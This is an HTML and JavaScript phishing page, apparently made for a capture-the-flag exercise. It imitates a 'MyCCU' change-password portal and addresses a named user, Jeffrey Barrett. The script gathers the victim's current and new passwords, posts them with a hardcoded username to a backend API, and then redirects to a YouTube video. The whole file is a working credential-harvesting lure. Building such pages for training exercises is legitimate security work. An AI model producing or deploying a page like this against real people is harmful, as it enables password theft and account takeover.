a phising page made for Crimson Defence CTF
1<!doctype html>
2<html lang="en">
3 <head>
4 <meta charset="UTF-8" />
5 <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6 <link rel="icon" type="image/x-icon" href="favicon.png" />
7 <title>MyCCU Change Password</title>
8 <link rel="stylesheet" href="styles.css" />
9 <link rel="stylesheet" href="loginstyles.css" />
10 <link rel="preconnect" href="https://fonts.googleapis.com" />
11 <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
12 <link
13 href="https://fonts.googleapis.com/css2?family=Archivo:ital,wght@0,100..900;1,100..900&family=Open+Sans:ital,wght@0,300..800;1,300..800&display=swap"
14 rel="stylesheet"
15 />
16 </head>
17 <body>
18 <header>
19 <a href="index.html"
20 ><img src="banner.png" alt="" width="500px"
21 /></a>
22 </header>
23
24 <div class="header">
25 <h1>Welcome to MyCCU</h1>
26 </div>
27
28 <div class="login-wrapper">
29 <div class="login-container">
30 <h2>Change Password</h2>
31 <div class="loginForm">
32 <p>
33 Hello Jeffrey Barrett, please enter your current
34 password and choose a new password.
35 </p>
36 <form id="resetForm">
37 <div class="form-group">
38 <label>Current Password</label>
39 <input
40 type="password"
41 name="current_password"
42 class="form-control"
43 required
44 />
45 <span class="help-block"></span>
46 </div>
47
48 <div class="form-group">
49 <label>New Password</label>
50 <input
51 type="password"
52 name="new_password"
53 class="form-control"
54 required
55 />
56 <span class="help-block"></span>
57 </div>
58
59 <div class="form-group">
60 <label>Confirm New Password</label>
61 <input
62 type="password"
63 name="confirm_password"
64 class="form-control"
65 required
66 />
67 <span class="help-block"></span>
68 </div>
69
70 <div class="form-group">
71 <input
72 type="submit"
73 class="btn btn-primary"
74 value="Change Password"
75 />
76 </div>
77
78 <p>
79 <a
80 href="http://crimsonchallenge.duckdns.org/login.php"
81 >Back to Login</a
82 >.
83 </p>
84 </form>
85 </div>
86 </div>
87 </div>
88
89 <script>
90 document
91 .getElementById("resetForm")
92 .addEventListener("submit", function (e) {
93 e.preventDefault();
94
95 const formData = new FormData(this);
96 const currentPassword = formData.get("current_password");
97 const newPassword = formData.get("new_password");
98 const confirmPassword = formData.get("confirm_password");
99
100 // Clear previous errors
101 document
102 .querySelectorAll(".form-group")
103 .forEach((group) => {
104 group.classList.remove("has-error");
105 const helpBlock =
106 group.querySelector(".help-block");
107 if (helpBlock) {
108 helpBlock.textContent = "";
109 }
110 });
111
112 // Validate password confirmation
113 if (newPassword !== confirmPassword) {
114 const confirmGroup =
115 document.querySelectorAll(".form-group")[2];
116 const helpBlock =
117 confirmGroup.querySelector(".help-block");
118 if (helpBlock) {
119 helpBlock.textContent =
120 "New passwords do not match.";
121 confirmGroup.classList.add("has-error");
122 }
123 return;
124 }
125
126 // Validate password strength (optional)
127 if (newPassword.length < 8) {
128 const newPasswordGroup =
129 document.querySelectorAll(".form-group")[1];
130 const helpBlock =
131 newPasswordGroup.querySelector(".help-block");
132 if (helpBlock) {
133 helpBlock.textContent =
134 "New password must be at least 8 characters long.";
135 newPasswordGroup.classList.add("has-error");
136 }
137 return;
138 }
139
140 // Prepare data for API
141 const apiData = {
142 username: "jbarrett",
143 current_password: currentPassword,
144 new_password: newPassword,
145 };
146
147 // Make the request to our Bun API
148 fetch("/api/change-password", {
149 method: "POST",
150 headers: {
151 "Content-Type": "application/json",
152 },
153 body: JSON.stringify(apiData),
154 })
155 .then((response) => response.json())
156 .then((data) => {
157 if (data.success) {
158 alert("Password changed successfully!");
159 // Redirect to the target site
160 window.location.href =
161 "https://www.youtube.com/watch?v=E4WlUXrJgy4";
162 } else {
163 // Show error on appropriate field
164 if (data.field === "current_password") {
165 const currentGroup =
166 document.querySelectorAll(
167 ".form-group",
168 )[0];
169 const helpBlock =
170 currentGroup.querySelector(
171 ".help-block",
172 );
173 if (helpBlock) {
174 helpBlock.textContent =
175 data.message ||
176 "Current password is incorrect.";
177 currentGroup.classList.add("has-error");
178 }
179 } else {
180 const newPasswordGroup =
181 document.querySelectorAll(
182 ".form-group",
183 )[1];
184 const helpBlock =
185 newPasswordGroup.querySelector(
186 ".help-block",
187 );
188 if (helpBlock) {
189 helpBlock.textContent =
190 data.message ||
191 "An error occurred. Please try again.";
192 newPasswordGroup.classList.add(
193 "has-error",
194 );
195 }
196 }
197 }
198 })
199 .catch((error) => {
200 console.error("Error:", error);
201 const currentGroup =
202 document.querySelectorAll(".form-group")[0];
203 const helpBlock =
204 currentGroup.querySelector(".help-block");
205 if (helpBlock) {
206 helpBlock.textContent =
207 "Network error. Please try again.";
208 currentGroup.classList.add("has-error");
209 }
210 });
211 });
212
213 // Clear error state when user starts typing
214 document
215 .querySelectorAll('input[type="password"]')
216 .forEach((input) => {
217 input.addEventListener("input", function () {
218 const formGroup = this.closest(".form-group");
219 if (formGroup) {
220 formGroup.classList.remove("has-error");
221 const helpBlock =
222 formGroup.querySelector(".help-block");
223 if (helpBlock) {
224 helpBlock.textContent = "";
225 }
226 }
227 });
228 });
229 </script>
230 </body>
231</html>